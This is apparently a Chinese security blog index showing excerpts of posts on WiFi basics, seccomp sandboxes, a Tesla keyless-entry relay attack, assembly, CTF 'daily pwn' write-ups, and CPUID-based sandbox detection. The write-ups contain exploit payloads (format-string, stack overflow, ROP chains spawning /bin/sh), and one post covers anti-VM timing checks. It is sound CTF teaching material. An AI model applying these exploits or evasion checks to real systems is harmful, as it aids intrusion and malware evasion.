浅谈WIFI安全
浅谈WIFI安全WIFI简介与发展历史简介如今现在几乎所有的智能手机、平板电脑和笔记本电脑都具备WiFi接入功能WiFi 全称 Wireless Fidelity,又称为802.11b标准。Wireless Fidelity翻译过来是无线保真,其中保真是指要求在无线网络中可靠地传输数据WiFi的定义:一种把有线上网的方式转变成无线上网方式的技术
名词解释在后续学习WiFi安全的过程中,有一些名词是我们现在需要了解的前置知识
SSID(Service Set Identifier) 服务集标识符
通俗地说,SSID便是你给自己的无线网络所取的名字,用来标识某一无线局域网的唯一标识符,无线客户端用它入网后与接入点进行通信。只有匹配成功的SSID名称和密码才能使无线客户端接入对应的无线网络。SSID信号由无线路由器或者AP进行向外发射。SSID包括BSSID和ESSID两种类型
AP(Access Point) 无线访问点或接入点
客户端需要链接AP才能获得登录互联网的能力,具备路由功能的AP就是一个无线路由器
ESSID
对终端用户来说,搜索到的无线网络的名称就是ES ...
沙箱机制
沙箱机制0x00: 简介沙箱机制,英文sandbox也就是我们常说的沙箱,是计算机领域的虚拟技术,常用于安全方向。一般说来,我们不会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
在CTF比赛中,pwn题中的沙箱一般都会限制execve的系统调用,这样一来one_gaget和system调用都不好使,只能采取open/read/write的组合方式来读取flag。当然有些题目还会砍掉一个系统调用,进一步限制我们获取flag。
0x01: 开启沙箱的两种方式在CTF的pwn题中一般有两种函数调用的方式实现沙盒机制,第一种是采用prctl函数调用,第二种是使用seccomp函数。
在具体了解prctl函数之前,我们再了解这样一个概念,沙箱是程序运行过程中的一种隔离机制,其目的是限制不可信进程和不可信代码的访问权限。seccomp是内核中的一种安全机制,seccomp可以在程序中禁用掉一些系统调用来达到保护系统安全的目的,seccomp规则的设置,可以使用prctl函数和seccomp函数。
0x0: prct ...
汽车“ECU”安全风险与攻击分析
汽车“ECU”安全风险与攻击分析前言随着汽车电子、车联网、无人驾驶技术的快速发展,汽车控制智能化越来越深入,带来的安全隐患层出不跌,汽车系统被成功攻破的例子屡见不鲜,方法和手段也呈现多样化。
特斯拉“PKES(Passive Keyless Entry and Start)系统”被30秒攻破,攻击者在CHES2018发表了研究成果,我有幸在现场聆听,主要是利用中继攻击的方法进行攻击。特斯拉PKES工作原理如下:
特斯拉PKES工作原理
攻击者是在PKES的工作过程中汽车与钥匙的数据交互的过程中,伪装成汽车,获取敏感信息,攻破密钥,再伪装成KEY,解锁汽车,具体攻击过程如下:
Phase 0: 攻击者记录汽车周期性传输的wake以获取2字节的car id;
Phase 1: 攻击者伪装成汽车,传输2个选好的40位的challenge到key fob,并记录各自24位的response;
Phase 2: 使用challenge response对和TMTO表,就可以恢复40位的密钥。第一对用于选择正确的key子集,第二对用于从大约2^16个可能的key中找出key。
Phase 3: ...
汇编语言——王爽版总结
汇编语言——王爽版总结基础知识
汇编语言包括汇编指令和伪指令还有其他符号
在内存或磁盘上,指令和数据没有任何区别,都是二进制
CPU对存储器的读写是通过总线
总线从逻辑上又分为地址总线和控制总线还有数据总线
对于CPU来说,系统中的所有存储器中的存储单元都处于一个统一的逻辑存储器中,它的容量受CPU寻址能力的限制。这个逻辑存储器即是我们所说的内存地址空间。
寄存器
寄存器分为通用寄存器和段寄存器还有其他的寄存器
AX,BX,CX,DX都是通用寄存器,还可以细分为AH和AL其他寄存器同样,AL和AH等寄存器可以看做独立的寄存器。
一个字节为8bit,一个字节两个字。
由于8086寄存器是16位,但是地址总线为20位,可以达到1m的寻址能力。故
CPU中相关的部件提供两个16位的地址,一个为段地址,一个为偏移地址,物理地址为段地址*16+偏移地址。
段地址存放在段寄存器中,段寄存器根据不同的段又分为CS,DS,SS,ES段寄存器。
CS和IP是8086的两个关键的寄存器,他们指示了CPU当前要读取指令的地址。CS为段寄存器,IP为指令指针寄存器(也可以叫做指令偏移寄存器,我这么认 ...
每日一pwn[[第五空间2019 决赛]PWN5]
每日一pwn[[第五空间2019 决赛]PWN5]前言做这个题感觉很简单,但是脑袋没想得过来,一直在尝试用%s泄露随机数,然后写回去,发现无论咋样数据都很难写对,看了其他师傅的wp后发现可以用%n来写那个随机数,只能说自己太傻了。
分析
代码特别简单,就是生成随机数和一个格式化字符串的漏洞,还有输入数据进行对比,并且给了后门函数,于是直接用就行
漏洞点存在栈上的格式化字符串漏洞,可以任意地址泄露和任意地址覆写的漏洞,于是可以泄露随机数,然后回写,或者改写那个随机数为我们输入的即可。不算太难,就直接贴EXP了
EXP我的代码前面经过了部分lambda函数的定义的,是一个模板类型方便调试的exp,这里只给出了关键漏洞利用的数据
12345678def exploit(): li('exploit...') bss_addr = 0x0804C044 payl ...
每日一pwn[pwn1_sctf_2016]
每日一pwn[pwn1_sctf_2016]前言在寒假玩了太久后的第一次刷题,直接来个每日一pwn,就当恢复训练了
分析代码简单分析了一下
总的来说就是一个C++的逆向分析,总的来说不算难,但是对于没有接触过C++的来说,还是有点难以理解的。后面会简单介绍一下关于这段代码的。
12printf("Tell me something about yourself: ");fgets(s, 32, edata);
这段代码就是打印提示语句,然后从edata这个流获取输入,和C语言里面没区别
1std::string::operator=((int)&input, (int)s);
这段代码就很有C++的特性了,因为C++里面出现了一个新的方式那就命名空间的说法,其实可以理解为就是调用库的形式。这段代码就可以理解为从标准库的string模块调用operator这个函数,于是我们搜索的时候,便可以搜索std::string::operator()函数的作用,或者看汇编代码默认识别的函数格式
于是我们知道这个函数其实就是将s的数据转换为C++格式的stri ...
每日一pwn[jarvisoj_level2]
每日一pwn[jarvisoj_level2]前言简单32位栈溢出
分析
简单分析一下知道,存在栈溢出漏洞,并且有system函数还有/bin/sh字符
于是栈溢出简单利用一下即可
漏洞点栈溢出漏洞,有system函数和/bin/sh字符,是32位的大量栈溢出
EXP12345678def exploit(): li('exploit...') bin_sh = 0x0804A024 system_addr = 0x8048320 call_system = 0x804849E pl = "A"*0x88+p32(bin_sh)+p32(call_system)+p32(bin_sh) db() sla("Input:",pl)
每日一pwn[ciscn_2019_n_8]
每日一pwn[ciscn_2019_n_8]前言有现成的后门函数,但是触发需要一定的条件,根据汇编函数的关系构造数据即可、
分析
发现在scanf读入数据后,对读入的数据进行判断是否满足条件,如果满足即可触发后门函数,这也是一般的路由器会留的一些方便调试的后门类型
漏洞点可以看到首先对第13个数据进行判断是不是非0,然后判断第13个数据是不是17,于是可以知道数据的第13*4=0x34的地方是0x11这数据即可绕过
EXP12345def exploit(): li('exploit...') pl = b'A'*0x34+(b'\x11'+b'\x00'*3) db() sla("What's your name?",pl)
每日一pwn[ciscn_2019_c_1]
每日一pwn[ciscn_2019_c_1]前言存在栈溢出漏洞,无后门函数,存在一个加密函数,但是对payload无影响
分析
关键函数,存在一个栈溢出,但是发现存在一个对我们输入的数据进行加密的流程,本来以为需要逆向一下代码,发现在strlen函数那里存在一个截断,于是便不需要对payload进行更改,直接使用即可
漏洞点存在一个栈溢出,直接打一个puts函数泄露基地址,然后ogg获得shell
EXP12345678910111213141516def exploit(): li('exploit...') db() ogg = 0x4f322 puts_got = 0x000000000602020 puts_plt = 0x0000000004006E0 pop_rdi_ret = 0x0000000000400c83 pl = "A"*0x50+p64(0xbadbeef)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(0x000000000 ...
检测是否存在于沙箱中
检测是否存在于沙箱中检测运行时间CPUID上述的几种方法都是基于延时执行或者由其引出的一些特性来进行沙箱检测的。由于虚拟化自身的特性,也会造成某些指令的执行在虚拟环境和真实环境中有时间差异。
得益于Hypervisor的普及,许多作弊软件制作者利用虚拟化技术逃避了反作弊引擎的检测。与此对应,反作弊引擎的厂商也没有坐以待毙,研究出了一系列检测虚拟化的方法。接下来要介绍的就是来自BattlEye的反沙箱方法。
原理:首先我们要知道CPUID是什么,它为什么能够作为检测沙箱的指标:CPUID 在真实硬件上是一条相对快捷的指令,通常只需要 200 个周期,而在虚拟化环境中,由于内省引擎产生的开销,它可能需要十倍甚至更多的时间。
12345678910111213141516171819unsigned __int64 old_priority = SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); unsigned __int64 rdtsc_first = __rdtsc();Sleep(2000);un ...



